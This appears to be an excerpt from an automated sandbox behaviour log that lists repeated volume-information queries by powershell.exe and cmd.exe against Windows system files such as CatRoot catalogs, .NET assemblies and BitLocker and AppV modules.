Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
